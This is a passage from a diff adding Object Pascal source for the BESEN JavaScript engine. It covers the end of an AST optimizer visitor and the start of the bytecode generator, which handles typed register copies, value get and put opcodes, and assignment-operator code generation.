BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression; + AddTrashNode(result,TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + end; + end; + bntDELETEEXPRESSION:begin + TBESENASTNodeDeleteExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression)); + end; + bntPOSTFIXINCEXPRESSION:begin + TBESENASTNodePostfixIncExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression)); + end; + bntPOSTFIXDECEXPRESSION:begin + TBESENASTNodePostfixDecExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression)); + end; + bntPREFIXINCEXPRESSION:begin + TBESENASTNodePrefixIncExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression)); + end; + bntPREFIXDECEXPRESSION:begin + TBESENASTNodePrefixDecExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression)); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + end; + bntREGEXPLITERAL:begin + end; + bntSTRINGLITERAL:begin + end; + bntTHISLITERAL:begin + end; + bntOBJECTLITERALPROPERTY:begin + TBESENASTNodeObjectLiteralProperty(ToVisit).Value:=pointer(Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value)); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal)); + end; + end; + bntOBJECTLITERAL:begin + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]:=pointer(Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter])); + end; + end; + bntRETURNSTATEMENT:begin + TBESENASTNodeReturnStatement(ToVisit).Expression:=pointer(Visit(TBESENASTNodeReturnStatement(ToVisit).Expression)); + end; + bntPROGRAM:begin + TBESENASTNodeProgram(ToVisit).Body:=pointer(Visit(TBESENASTNodeProgram(ToVisit).Body)); + end; + bntFUNCTIONEXPRESSION:begin + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + TBESENASTNodeFunctionExpression(ToVisit).Container.Literal:=pointer(Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal)); + end; + end; + end; + end; + end; + begin + result:=Visit(RootNode); + end; + procedure GenerateByteCode(RootNode:TBESENASTNode); + var Code:TBESENCode; + CodeGeneratorContext:TBESENCodeGeneratorContext; + OptimizeLocals,HasFunctions,DoHasLocalDelete,DoIsComplexFunction,DoHasMaybeDirectEval,DoHoldLocalVariablesInRegisters:boolean; + procedure Visit(ToVisit:TBESENASTNode;var DestRegNr:integer;CalleeNeedReturnedValue:boolean); + var Counter,L1,L2,L3,L3a,L3b,P1,P2,PR,PR2,r1,r2,r3,r4,r5,r6,v1:integer; + OldCode:TBESENCode; + OldCodeGeneratorContext:TBESENCodeGeneratorContext; + v:TBESENValue; + OldVarScope,OldDoHasLocalDelete,OldOptimizeLocals,OldHasFunctions,OldDoIsComplexFunction,OldDoHasMaybeDirectEval,OldDoHoldLocalVariablesInRegisters,DefaultCase,InScope:boolean; + Patchables:TBESENCodeGeneratorContextPatchables; + SwitchPatches:array of integer; + vta,vtb,vtc,vtd,vte,vtTemp,vtBegin,vtInner,vtEnd:TBESENValueTypes; + RegStates:array[0..3] of TBESENCodeGeneratorContextRegisterStates; + Operands:array of TBESENINT32; + hi:PBESENHashMapItem; + Hash:TBESENHash; + IsWhat1,IsWhat2:longword; + function IsValue(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat and bcgtREFERENCE)=0; + end; + function IsPrimitive(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat and (bcgtREFERENCE or bcgtOBJECT))=0; + end; + function IsLocalVariableReference(const r:integer):boolean; + begin + result:=DoHoldLocalVariablesInRegisters and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)); + end; + function IsValueBoolean(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat=bcgtBOOLEAN) or ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType=bvtBOOLEAN)); + if (not result) and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)) then begin + result:=CodeGeneratorContext.VariableGetType(Code.Variables[CodeGeneratorContext.Registers[r].Variable].Name)=bvtBOOLEAN; + end; + end; + function IsValueNumber(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat=bcgtNUMBER) or ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType=bvtNUMBER)); + if (not result) and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)) then begin + result:=CodeGeneratorContext.VariableGetType(Code.Variables[CodeGeneratorContext.Registers[r].Variable].Name)=bvtNUMBER; + end; + end; + function IsValueString(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat=bcgtSTRING) or ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType=bvtSTRING)); + if (not result) and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)) then begin + result:=CodeGeneratorContext.VariableGetType(Code.Variables[CodeGeneratorContext.Registers[r].Variable].Name)=bvtSTRING; + end; + end; + function IsValueObject(const r:integer):boolean; + begin + result:=(CodeGeneratorContext.Registers[r].IsWhat=bcgtOBJECT) or ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType=bvtOBJECT)); + if (not result) and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)) then begin + result:=CodeGeneratorContext.VariableGetType(Code.Variables[CodeGeneratorContext.Registers[r].Variable].Name)=bvtOBJECT; + end; + end; + function IsValuePrimitive(const r:integer):boolean; + begin + result:=((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType in [bvtBOOLEAN,bvtNUMBER,bvtSTRING])) or ((CodeGeneratorContext.Registers[r].IsWhat and (bcgtREFERENCE or bcgtOBJECT))=0); + if (not result) and ((CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].Variable>=0)) then begin + result:=CodeGeneratorContext.VariableGetType(Code.Variables[CodeGeneratorContext.Registers[r].Variable].Name) in [bvtBOOLEAN,bvtNUMBER,bvtSTRING]; + end; + end; + function IsNodeLocalVarReg(Node:TBESENASTNode;var r:integer):boolean; + begin + if DoHoldLocalVariablesInRegisters and (assigned(Node) and ((Node is TBESENASTNodeIdentifier) and CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(Node).Name))) then begin + r:=CodeGeneratorContext.VariableGetRegister(TBESENASTNodeIdentifier(Node).Name); + end else begin + r:=-1; + end; + result:=r>=0; + end; + function IsNodeLocalVarRegister(Node:TBESENASTNode):boolean; + begin + result:=(DoHoldLocalVariablesInRegisters and (assigned(Node) and ((Node is TBESENASTNodeIdentifier) and CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(Node).Name)))) and (CodeGeneratorContext.VariableGetRegister(TBESENASTNodeIdentifier(Node).Name)>0); + end; + procedure GenSetC(const r:integer); + begin + if IsValueBoolean(r) then begin + Code.GenOp(bopSETCBOOL,r); + end else if IsValueNumber(r) then begin + Code.GenOp(bopSETCNUM,r); + end else if IsValueString(r) then begin + Code.GenOp(bopSETCSTR,r); + end else if IsValueObject(r) then begin + Code.GenOp(bopSETCOBJ,r); + end else begin + if IsLocalVariableReference(r) then begin + Code.GenOp(bopSETC,r); + end else if (CodeGeneratorContext.Registers[r].IsWhat=bcgtREFERENCE) and (CodeGeneratorContext.Registers[r].ReferenceValueType in [bvtUNDEFINED,bvtNULL]) then begin + case CodeGeneratorContext.Registers[r].ReferenceValueType of + bvtNULL:begin + Code.GenOp(bopSETCNULL); + end; + else begin + Code.GenOp(bopSETC,r); + end; + end; + end else begin + Code.GenOp(bopSETC,r); + end; + end; + end; + procedure GenGetValueEx(const r,DestRegNr:integer); + begin + if CodeGeneratorContext.Registers[r].Variable>=0 then begin + case CodeGeneratorContext.Registers[r].ReferenceValueType of + bvtBOOLEAN:begin + Code.GenOp(bopCOPYBOOL,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtBOOLEAN; + end; + bvtNUMBER:begin + Code.GenOp(bopCOPYNUM,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtNUMBER; + end; + bvtSTRING:begin + Code.GenOp(bopCOPYSTR,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtSTRING; + end; + bvtOBJECT:begin + Code.GenOp(bopCOPYOBJ,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtOBJECT; + end; + else begin + Code.GenOp(bopCOPY,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end; + end else begin + case CodeGeneratorContext.Registers[r].ReferenceValueType of + bvtBOOLEAN:begin + Code.GenOp(bopGETVALUELOCALINDEXBOOL,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtBOOLEAN; + end; + bvtNUMBER:begin + Code.GenOp(bopGETVALUELOCALINDEXNUM,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtNUMBER; + end; + bvtSTRING:begin + Code.GenOp(bopGETVALUELOCALINDEXSTR,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtSTRING; + end; + bvtOBJECT:begin + Code.GenOp(bopGETVALUELOCALINDEXOBJ,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtOBJECT; + end; + else begin + Code.GenOp(bopGETVALUELOCALINDEX,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end; + end; + end; + procedure GenPutValueEx(const r,SrcRegNr:integer;ValueType:TBESENValueType=bvtUNDEFINED); + begin + if CodeGeneratorContext.Registers[r].Variable>=0 then begin + case ValueType of + bvtBOOLEAN:begin + Code.GenOp(bopCOPYBOOL,r,SrcRegNr); + end; + bvtNUMBER:begin + Code.GenOp(bopCOPYNUM,r,SrcRegNr); + end; + bvtSTRING:begin + Code.GenOp(bopCOPYSTR,r,SrcRegNr); + end; + bvtOBJECT:begin + Code.GenOp(bopCOPYOBJ,r,SrcRegNr); + end; + else begin + Code.GenOp(bopCOPY,r,SrcRegNr); + end; + end; + end else begin + case ValueType of + bvtBOOLEAN:begin + Code.GenOp(bopPUTVALUELOCALINDEXBOOL,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtNUMBER:begin + Code.GenOp(bopPUTVALUELOCALINDEXNUM,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtSTRING:begin + Code.GenOp(bopPUTVALUELOCALINDEXSTR,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtOBJECT:begin + Code.GenOp(bopPUTVALUELOCALINDEXOBJ,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + else begin + Code.GenOp(bopPUTVALUELOCALINDEX,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + end; + end; + end; + procedure GenGetValue(const r,DestRegNr:integer); + begin + if (CodeGeneratorContext.Registers[r].IsWhat and bcgtREFERENCE)<>0 then begin + if CodeGeneratorContext.Registers[r].IsLocal then begin + if CodeGeneratorContext.Registers[r].Variable>=0 then begin + if (Code.LastOpcode=bopLREF) and ((Code.ByteCode[Code.LastCodePos+1]=TBESENUINT32(r)) and (Code.ByteCode[Code.LastCodePos+2]=TBESENUINT32(CodeGeneratorContext.Registers[r].LocalIndex))) then begin + Code.Restore(Code.LastCodePos); + end; + case CodeGeneratorContext.Registers[r].ReferenceValueType of + bvtBOOLEAN:begin + Code.GenOp(bopCOPYBOOL,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtBOOLEAN; + end; + bvtNUMBER:begin + Code.GenOp(bopCOPYNUM,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtNUMBER; + end; + bvtSTRING:begin + Code.GenOp(bopCOPYSTR,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtSTRING; + end; + bvtOBJECT:begin + Code.GenOp(bopCOPYOBJ,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtOBJECT; + end; + else begin + Code.GenOp(bopCOPY,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end; + end else if (not DoHasLocalDelete) and CodeGeneratorContext.VariableGetInitialized(CodeGeneratorContext.VariableGetIdent(CodeGeneratorContext.Registers[r].LocalIndex)) then begin + if (Code.LastOpcode=bopLREF) and ((Code.ByteCode[Code.LastCodePos+1]=TBESENUINT32(r)) and (Code.ByteCode[Code.LastCodePos+2]=TBESENUINT32(CodeGeneratorContext.Registers[r].LocalIndex))) then begin + Code.Restore(Code.LastCodePos); + end; + case CodeGeneratorContext.Registers[r].ReferenceValueType of + bvtBOOLEAN:begin + Code.GenOp(bopGETVALUELOCALINDEXBOOL,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtBOOLEAN; + end; + bvtNUMBER:begin + Code.GenOp(bopGETVALUELOCALINDEXNUM,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtNUMBER; + end; + bvtSTRING:begin + Code.GenOp(bopGETVALUELOCALINDEXSTR,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtSTRING; + end; + bvtOBJECT:begin + Code.GenOp(bopGETVALUELOCALINDEXOBJ,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtOBJECT; + end; + else begin + Code.GenOp(bopGETVALUELOCALINDEX,DestRegNr,CodeGeneratorContext.Registers[r].LocalIndex); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end; + end else begin + Code.GenOp(bopGETVALUELOCAL,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end else begin + Code.GenOp(bopGETVALUEREF,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end else begin + Code.GenOp(bopGETVALUE,DestRegNr,r); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtVALUE; + CodeGeneratorContext.Registers[DestRegNr].ReferenceValueType:=bvtUNDEFINED; + end; + end; + procedure GenPutValue(const r,SrcRegNr:integer;ValueType:TBESENValueType=bvtUNDEFINED); + begin + if (CodeGeneratorContext.Registers[r].IsWhat and bcgtREFERENCE)<>0 then begin + if CodeGeneratorContext.Registers[r].IsLocal then begin + if CodeGeneratorContext.Registers[r].Variable>=0 then begin + if (Code.LastOpcode=bopLREF) and ((Code.ByteCode[Code.LastCodePos+1]=TBESENUINT32(r)) and (Code.ByteCode[Code.LastCodePos+2]=TBESENUINT32(CodeGeneratorContext.Registers[r].LocalIndex))) then begin + Code.Restore(Code.LastCodePos); + end; + case ValueType of + bvtBOOLEAN:begin + Code.GenOp(bopCOPYBOOL,r,SrcRegNr); + end; + bvtNUMBER:begin + Code.GenOp(bopCOPYNUM,r,SrcRegNr); + end; + bvtSTRING:begin + Code.GenOp(bopCOPYSTR,r,SrcRegNr); + end; + bvtOBJECT:begin + Code.GenOp(bopCOPYOBJ,r,SrcRegNr); + end; + else begin + Code.GenOp(bopCOPY,r,SrcRegNr); + end; + end; + end else if (not DoHasLocalDelete) and (CodeGeneratorContext.VariableGetInitialized(CodeGeneratorContext.VariableGetIdent(CodeGeneratorContext.Registers[r].LocalIndex)) and + CodeGeneratorContext.VariableGetMutableOrDeletable(CodeGeneratorContext.VariableGetIdent(CodeGeneratorContext.Registers[r].LocalIndex))) then begin + if (Code.LastOpcode=bopLREF) and ((Code.ByteCode[Code.LastCodePos+1]=TBESENUINT32(r)) and (Code.ByteCode[Code.LastCodePos+2]=TBESENUINT32(CodeGeneratorContext.Registers[r].LocalIndex))) then begin + Code.Restore(Code.LastCodePos); + end; + case ValueType of + bvtBOOLEAN:begin + Code.GenOp(bopPUTVALUELOCALINDEXBOOL,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtNUMBER:begin + Code.GenOp(bopPUTVALUELOCALINDEXNUM,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtSTRING:begin + Code.GenOp(bopPUTVALUELOCALINDEXSTR,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + bvtOBJECT:begin + Code.GenOp(bopPUTVALUELOCALINDEXOBJ,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + else begin + Code.GenOp(bopPUTVALUELOCALINDEX,CodeGeneratorContext.Registers[r].LocalIndex,SrcRegNr); + end; + end; + end else begin + Code.GenOp(bopPUTVALUELOCAL,r,SrcRegNr); + end; + end else begin + Code.GenOp(bopPUTVALUEREF,r,SrcRegNr); + end; + end else begin + Code.GenOp(bopPUTVALUE,r,SrcRegNr); + end; + end; + procedure AssignSetType(const n:TBESENASTNode;const t:TBESENValueType); + begin + if (OptimizeLocals and not HasFunctions) and assigned(CodeGeneratorContext) then begin + case n.NodeType of + bntIDENTIFIER:begin + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(n).Name) then begin + CodeGeneratorContext.VariableSetType(TBESENASTNodeIdentifier(n).Name,t); + end; + end; + end; + end; + end; + procedure AssignSetWhatType(const n:TBESENASTNode;const wt:longword); + begin + if (OptimizeLocals and not HasFunctions) and assigned(CodeGeneratorContext) then begin + case wt of + bcgtBOOLEAN:begin + AssignSetType(n,bvtBOOLEAN); + end; + bcgtNUMBER:begin + AssignSetType(n,bvtNUMBER); + end; + bcgtSTRING:begin + AssignSetType(n,bvtSTRING); + end; + bcgtOBJECT:begin + AssignSetType(n,bvtOBJECT); + end; + else begin + AssignSetType(n,bvtUNDEFINED); + end; + end; + end; + end; + function AssignGetType(const n:TBESENASTNode):TBESENValueType; + begin + result:=bvtUNDEFINED; + if (OptimizeLocals and not HasFunctions) and assigned(CodeGeneratorContext) then begin + case n.NodeType of + bntIDENTIFIER:begin + if CodeGeneratorContext.IsVariableInScope(TBESENASTNodeIdentifier(n).Name) then begin + result:=CodeGeneratorContext.VariableGetType(TBESENASTNodeIdentifier(n).Name); + end; + end; + end; + end; + end; + procedure AssignOpPre; + begin + if DestRegNr<0 then begin + if IsNodeLocalVarReg(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1) then begin + DestRegNr:=r1; + end else begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + end; + r1:=-1; + r2:=-1; + r3:=-1; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + if IsValueNumber(r1) then begin + r3:=r1; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r3,r1); + end; + end else begin + if IsPrimitive(r1) then begin + raise EBESENReferenceError.Create('Left hand side must be a reference'); + end; + r3:=CodeGeneratorContext.AllocateRegister; + if IsValueNumber(r1) then begin + GenGetValue(r1,r3); + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r4); + Code.GenOp(bopTONUMBER,r3,r4); + CodeGeneratorContext.DeallocateRegister(r4); + end; + end; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r5:=r2; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r5); + end; + if IsValueNumber(r2) then begin + r4:=r5; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTONUMBER,r4,r5); + if r2<>r5 then begin + CodeGeneratorContext.DeallocateRegister(r5); + end; + end; + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end; + procedure AssignOpAddPre; + begin + if DestRegNr<0 then begin + if IsNodeLocalVarReg(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1) then begin + DestRegNr:=r1; + end else begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + end; + r1:=-1; + r2:=-1; + r3:=-1; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + if IsValuePrimitive(r1) then begin + r3:=r1; + end else begin + r3:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOPRIMITIVE,r3,r1); + end; + end else begin + if IsPrimitive(r1) then begin + raise EBESENReferenceError.Create('Left hand side must be a reference'); + end; + r3:=CodeGeneratorContext.AllocateRegister; + if IsValuePrimitive(r1) then begin + GenGetValue(r1,r3); + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r4); + Code.GenOp(bopTOPRIMITIVE,r3,r4); + CodeGeneratorContext.DeallocateRegister(r4); + end; + end; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r5:=r2; + end else begin + r5:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r5); + end; + if IsValuePrimitive(r2) then begin + r4:=r5; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + Code.GenOp(bopTOPRIMITIVE,r4,r5); + if r2<>r5 then begin + CodeGeneratorContext.DeallocateRegister(r5); + end; + end; + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end; + procedure AssignOpShiftPre; + begin + if DestRegNr<0 then begin + if IsNodeLocalVarReg(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1) then begin + DestRegNr:=r1; + end else begin + DestRegNr:=CodeGeneratorContext.AllocateRegister; + end; + end; + r1:=-1; + r2:=-1; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,r1,true); + if r1<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsLocalVariableReference(r1) then begin + r3:=r1; + end else begin + if IsPrimitive(r1) then begin + raise EBESENReferenceError.Create('Left hand side must be a reference'); + end; + r3:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r1,r3); + end; + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression,r2,true); + if r2<0 then begin + BESENThrowCodeGeneratorInvalidRegister; + end; + if IsValue(r2) or IsLocalVariableReference(r2) then begin + r4:=r2; + end else begin + r4:=CodeGeneratorContext.AllocateRegister; + GenGetValue(r2,r4); + end; + if (CodeGeneratorContext.Registers[r1].IsWhat and bcgtREFERENCE)<>0 then begin + if not CodeGeneratorContext.Registers[r1].IsLocal then begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end else begin + Code.GenOp(bopSTRICTCHECKREF,r1); + end; + end; + procedure AssignOpPost(Number,Str,FromRight:boolean); + begin + if IsLocalVariableReference(r1) then begin + if DestRegNr=r1 then begin + if Number then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtNUMBER); + end else if Str then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtSTRING); + end else if FromRight then begin + if IsValueBoolean(r2) then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtBOOLEAN); + end else if IsValueNumber(r2) then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtNUMBER); + end else if IsValueString(r2) then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtSTRING); + end else if IsValueObject(r2) then begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtOBJECT); + end else begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtUNDEFINED); + end; + end else begin + AssignSetType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,bvtUNDEFINED); + end; + end else begin + if Number then begin + Code.GenOp(bopCOPYNUM,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else if Str then begin + Code.GenOp(bopCOPYSTR,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if FromRight then begin + if IsValueBoolean(r2) then begin + Code.GenOp(bopCOPYBOOL,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtBOOLEAN; + end else if IsValueNumber(r2) then begin + Code.GenOp(bopCOPYNUM,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtNUMBER; + end else if IsValueString(r2) then begin + Code.GenOp(bopCOPYSTR,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtSTRING; + end else if IsValueObject(r2) then begin + Code.GenOp(bopCOPYOBJ,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtOBJECT; + end else begin + Code.GenOp(bopCOPY,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + end; + end else begin + Code.GenOp(bopCOPY,r1,DestRegNr); + CodeGeneratorContext.Registers[DestRegNr].IsWhat:=bcgtUNDEFINED; + end; + AssignSetWhatType(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression,CodeGeneratorContext.Registers[DestRegNr].IsWhat); + end; + end else begin 